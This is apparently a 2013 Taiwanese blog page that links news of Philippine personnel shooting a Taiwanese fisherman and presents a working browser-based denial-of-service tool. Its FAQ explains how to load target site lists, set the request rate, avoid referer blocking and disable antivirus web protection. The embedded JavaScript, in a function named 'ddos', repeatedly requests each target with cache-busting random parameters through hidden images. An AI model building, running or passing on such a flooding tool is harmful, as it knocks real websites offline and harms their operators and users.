<h1>你還在忍耐嗎?</h1>
<ul><li>
<a target="_blank" href="http://www.appledaily.com.tw/realtimenews/article/international/20130510/179102/%E6%88%91%E6%BC%81%E8%88%B9%E9%81%AD%E9%96%8B%E6%A7%8D%E3%80%80%E8%8F%B2%E5%BE%8B%E8%B3%93%E5%90%8C%E6%83%85%E3%80%8C%E4%B8%8D%E9%81%93%E6%AD%89%E3%80%8D">我漁船遭開槍 菲律賓同情「不道歉」</a>
</li></ul>
<ul><li>
<a target="_blank" href="http://newtalk.tw/news_read.php?oid=36316">菲開34槍射殺台漁民 馬英九:不善罷甘休 </a>
</li></ul>
<ul><li>
<a target="_blank" href="http://newtalk.tw/news_read.php?oid=36326">洪石成家屬悲痛 要政府討公道</a>
</li></ul>
<ul><li>
<a target="_blank" href="http://newtalk.tw/discussion_list.php?oid=181">更多</a>
</li></ul>
<h2>Q And A</h2>
<pre>
Q:要怎麼用?
首先你要先去找網站清單, 貼在下方的框框裡面,
然後設定好秒數後按下開始!
Q: 為什麼預設的網站不見了
由於有網友建議不要太針對特定網站, 於是改成這樣
請見諒並尋找低調的網址清單
Q:關於會不會一直有效的問題
只要是網站, 還是會存在referer的問題
也就是他會去看你的流量來源, 像這個網址就是blogspot.com blablabla開頭
對方網管只要看到referer是blogspot.com就擋掉, 那就沒問題了
解法也很簡單, 自己找一個hostname架上去, 或者是自己把html下載下來打開
這樣就不會有referer的問題, 就只剩下ban IP的解法了,
開大決就是把台灣網段的IP全擋掉這樣
Q: 到底怎麼確定她是有在跑
你可以看狀態列, 或者是chrome的話可以按F12看看有沒有在抓東西
Q: 改太快有沒有用
這數字看你的網卡、瀏覽器實做、CPU能力、防毒軟體/防火牆設定
沒有一定, 但我可以跟你保證太快絕對沒有比較好XD
ps: 請注意, 有小紅傘的話記得關掉web Protection, 不然有機會當掉
</pre>
<h3>總次數: <span id="total"></span></h3>
<h3>參數</h3>
<p>
<input type="text" id="sec" value="1.5" /> 秒 / 次
</p>
<h3>新增網站 <small>一行一個</small></h3>
<p>
<textarea id="addurl" style="width: 50%; height: 100px;"></textarea>
</p>
<table>
<tbody id="sites"></tbody>
</table>
<button id="btn-start" class="btn btn-success btn-large">儲存並開始!</button>
<div id="board"></div>
<script id="t-img" type="text/template">
<img style="display: none;" id="img-<%= i %>" src="<%= url %>" />
</script>
<script id="t-sites" type="text/template">
<% _.each(sites, function (site) { %>
<tr>
<td><%= site.url %></td>
<td>瀏覽了 <%= site.requested %> 次網頁</td>
<td><button onclick="toggleStop(<%= site.id %>)" class="btn btn-<%= site.disabled ? "success" : "danger" %>"><%= site.disabled ? "啟用" : "停用" %></td>
</tr>
<% }); %>
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script src="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/js/bootstrap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.4.4/underscore-min.js"></script>
<!--script src="https://cdnjs.cloudflare.com/ajax/libs/backbone.js/1.0.0/backbone-min.js"></script-->
<script type="text/javascript">
var target_domain_name = [];
$(function () {
var board = $('#board'),
el_Total = $('#total'),
el_Title = $('#title'),
disabledSite = {},
requested = {},
totalRequest = 0,
T_img = _.template($('#t-img').html()),
T_tbody = _.template($('#t-sites').html()),
rate = 1500,
timeoutObj = null;
var iframe_refresh = function (i, url) {
i = i.toString();
var random_token = Math.random();
url += "/?" + random_token.toString(16).substr(2) + '=' + random_token.toString().substr(2);
if ($('#img-' + i).length == 0) {
board.append(T_img({i: i, url: url}));
} else {
var dom = $('#img-' + i);
dom.attr('src', url);
}
};
var ddos = function () {
_.each(target_domain_name, function (url, i) {
if (typeof disabledSite[i] == 'undefined'
|| !disabledSite[i]) {
iframe_refresh(i, url);
if (!requested[i])
requested[i] = 0;
requested[i]++;
totalRequest++;
}
});
render_table();
el_Total.text(totalRequest);
timeoutObj = setTimeout(ddos, rate);
};
var lastLogNum = 0;
var render_table = function () {
var data = [];
_.each(target_domain_name, function (url, i) {
var row = {};
row['url'] = url;
row['id'] = i;
row['requested'] = requested[i];
if (typeof disabledSite[i] == 'undefined'
|| !disabledSite[i]) {
row['disabled'] = false;
} else {
row['disabled'] = true;
}
data.push(row);
});
$('#sites').html(T_tbody({sites: data}));
};
window.toggleStop = function (id) {
if (disabledSite[id]) {
disabledSite[id] = false;
} else {
disabledSite[id] = true;
}
render_table();
}
window.addUrl = function () {
var urls = $('#addurl').val().split("\n");
target_domain_name = _.union(target_domain_name, urls);
target_domain_name = _.uniq(target_domain_name);
target_domain_name = _.without(target_domain_name, '');
render_table();
}
$('#btn-start').click(function () {
addUrl();
rate = parseFloat($('#sec').val(), 10) * 1000;
if ( isNaN(rate) ) {
rate = 1500;
}
if (timeoutObj)
clearTimeout(timeoutObj);
ddos();
});
render_table();
});
</script>
沒有留言:
張貼留言